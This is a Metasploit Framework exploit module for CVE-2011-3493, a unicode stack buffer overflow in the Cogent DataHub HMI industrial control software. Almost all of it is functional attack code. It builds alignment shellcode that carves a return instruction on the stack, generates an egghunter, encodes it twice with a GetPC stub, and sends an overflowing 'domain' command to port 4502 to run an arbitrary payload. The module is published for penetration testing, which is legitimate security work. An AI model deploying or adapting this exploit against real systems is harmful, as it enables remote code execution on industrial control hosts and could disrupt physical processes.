##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Egghunter

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Cogent Datahub HMI <= v7.1.1.63 CogentDataHubV7.exe Unicode Stack Buffer Overflow",
			'Description'    => %q{
					This module exploits a stack-based unicode buffer-overflow in the 
				"DH_OneSecondTick" function exploitable through the "domain", "report_domain", 
				"register_datahub","slave" commands within CogentDataHubV7.exe version7.1.1.63 or
				below. The Cogent Datahub must be installed as a service on the remote target for
				this exploit to be successful.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma <aluigi[at]autistici.org>', # Initial discovery/trigger
					'mr_me <steventhomasseeley[at]gmail.com>',  # poc/msf
				],
			'References'     =>
				[
					['CVE', '2011-3493'],
					['OSVDB', '75570'],
					['BID', '49611'],
					['URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-03.pdf'],
					['URL', 'http://aluigi.altervista.org/adv/cogent_1-adv.txt']
				],
			'Payload'        =>
				{
					'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'EDI',  # egghunter jmp edi
						}
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => 'process',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 and Windows Server 2k3 - CogentDataHubV7.exe (unicode)',
						{
							'Ret'    => "\x7f\x55", # jmp esp 0x0055007f
							'Offset' => 1019,
						}
					],
				],
			'Privileged'     => true,
			'DisclosureDate' => "Sep 08 2011",
			'DefaultTarget'  => 0))

			register_options(
			[
				Opt::RPORT(4502)
			], self.class)
	end

	def exploit

		# stage 1
		# becomes 'add byte [edi],ch' when null byte aligned
		unicode_align = "\x6f"
		align= ""
		align << "\x54"           # push esp
		align << unicode_align
		align << "\x58"           # pop eax
		align << unicode_align
		align << "\x05\x6f\x11"   # add eax,11006f00
		align << unicode_align
		align << "\x2d\x37\x01"   # sub eax,01003700
		align << unicode_align
		align << "\x2d\x37\x10"   # sub eax,11003700
		align << unicode_align
		align << "\x50"           # push eax
		align << unicode_align
		align << "\x48"           # dec eax
		align << unicode_align
		align << "\x48"           # dec eax
		align << unicode_align
		align << "\x53"           # push ebx == "Name" (ebx = static value)
		align << unicode_align
		align << "\x59"           # pop ecx
		align << "\x08"           # add [eax],cl (carve a 'RETN' onto the stack)
		align << unicode_align
		align << "\x40"           # inc eax
		align << unicode_align
		align << "\x40"           # inc eax
		align << unicode_align
		align << "\x5d"           # pop ebp
		align << unicode_align + "\x55"  # writable address (for msf egg hunter & unicode aligned)
		align << (unicode_align + "\x41") * 46  # inc ecx (will not effect to our payload)
		align << unicode_align
		align << "\x6b"          # becomes our carved RETN on the stack (0x6b+0x58=0xc3)

		eggoptions = 
		{
			:checksum => true, # ensure payload integrity
			:eggtag => 'lulz'
		}

		hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

		# stage 2
		# Encode with alphamixed, then unicode mixed
		[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
			enc = framework.encoders.create(name)
			if name =~ /unicode/
				# aligned to esp & eax
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
			else
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
			end
			# NOTE: we already eliminated badchars
			hunter = enc.encode(hunter, nil, nil, platform)
			if name =~/alpha/
				#insert getpc_stub & align EDX, unicode encoder friendly.
				#Hardcoded stub is not an issue here because it gets encoded anyway
				getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
				hunter = getpc_stub + hunter
			end
		}

		request = "(domain \""
		request << rand_text_alpha(target['Offset'])
		request << target.ret
		request << align
		# stage 3
		request << hunter + egg
		request << "\")\r\n"

		connect
		print_status("Sending request...")
		sock.put(request)
		sock.get_once()
		handler()
		disconnect
	end
end
